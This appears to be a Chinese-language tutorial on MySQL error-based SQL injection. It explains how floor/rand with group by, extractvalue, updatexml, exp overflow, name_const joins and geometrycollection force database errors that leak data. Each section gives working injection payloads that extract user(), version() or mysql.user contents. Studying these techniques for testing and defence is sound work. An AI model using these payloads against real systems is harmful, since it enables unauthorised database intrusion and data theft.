0x01 floor报错注入
1.相关mysql函数
1.count()
count()
函数 返回表中的行数
count()
的返回类型 BIGINT
,如果没有匹配,则返回 0
COUNT()
的形式:COUNT(*)
,COUNT(expression)
和COUNT(DISTINCT expression)
count(*)
:会 计算 NULLcount(expression)
: 返回不包含NULL值的行 ,返回查询的记录总数,expression 参数是一个字段或者 * 号count(DISTINCT expression)
:返回不包含NULL的唯一行
2.rand()
数学函数,返回一个随机浮点数[0,1]
若指定一个整数参数N,则它被作用种子值(也被叫为随机因子),(rand()会根据这个种子值随机生成)用来产生重复序列,也就是rand(0)的值重复计算是固定
的。
3.floor()
数学函数,返回不大于x的最大整数值,比如floor(3.3)返回3,floor(-3.3)返回-4。
4.group by
group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中,注意是插入!
查询前创建的空临时表。
2.原理
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
1、当floor(rand(0)*2)
计算出结果与database()
拼接 作为group by
创建出的新表作为主键
select concat(database(),floor(rand(0)*2)) from users;
2、group by
与 count(*)
配合输出计算
但是 当group by
与 rand()
同时在的时候会使得,计算出的主键插入之前会再次计算rand()
一次(可能为两次或者多次)
3.由上述算出来的结果 当group by
去第一行时,主键 security0
没有在临时表中,rand()会再计算一次并将结果插入表中,count计为 1
group by
取第二次 及第三行时,为1 存在主键 count +1
group by
取第三次 及第四行时,为0 没有该主键 rand()会再次计算 并强制插入临时表,此时就会报错
3.关键字
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
group by
count
floor
4.补充
得到 酒仙桥六号部队 博主启发,当floor(rand(0)*2))算出的结果为0101 或1010时,所需要的行数只需要两行即可
经计算 随机因子为:14 18 22 26 等满足条件 会好一点只需插入两条数据
3.参考链接
https://www.freebuf.com/articles/web/257881.html
0x02 extractvalue、updatexml
1.extractvalue
extractvalue(XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
2.updatexml
updatexml(XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
3.关键字以及关键语句
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
extractvalue() updatexml()
0x03 exp name_const join
1.exp(N)
数学函数 返回值 以 e为底 N的对数 返回类型为bigint类型
BIGINT范围
-
带符号:-9223372036854775808到9223372036854775807
-
无符号:0到18446744073709551615
exp(709) <18446744073709551615< exp(710)
所以当exp(N)大于BIGINT最大整数时,就会报错
2.join()
连接函数,把两个表连接成一个新的表
3.name_const()
生成一个临时派生表 使得新的列有给定的名字
通常会与 join连用
3.关键字
and exp(~(select * from (select user())as a));
and select * from(select * from mysql.user a join mysql.user b)c;
and exists(select * from (select * from (select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
exp join name_const
0x04 GeometryCollection
1.条件
5.5<mysql版本<5.6
2.原理
数据库无法构建这样的数学对应关系,出现报错
3.关键字
and geometrycollection((select * from (select * from(select version())b)a))
geometrycollection
同样mysql 相关的几何函数都有这个报错原理
MySQL支持Point、LineString、Polygon、MultiPoint、MultiLineString、MultiPolygon和GeometryCollection等几何类型
用法一样不多描述
0x05 参考
Q.E.D.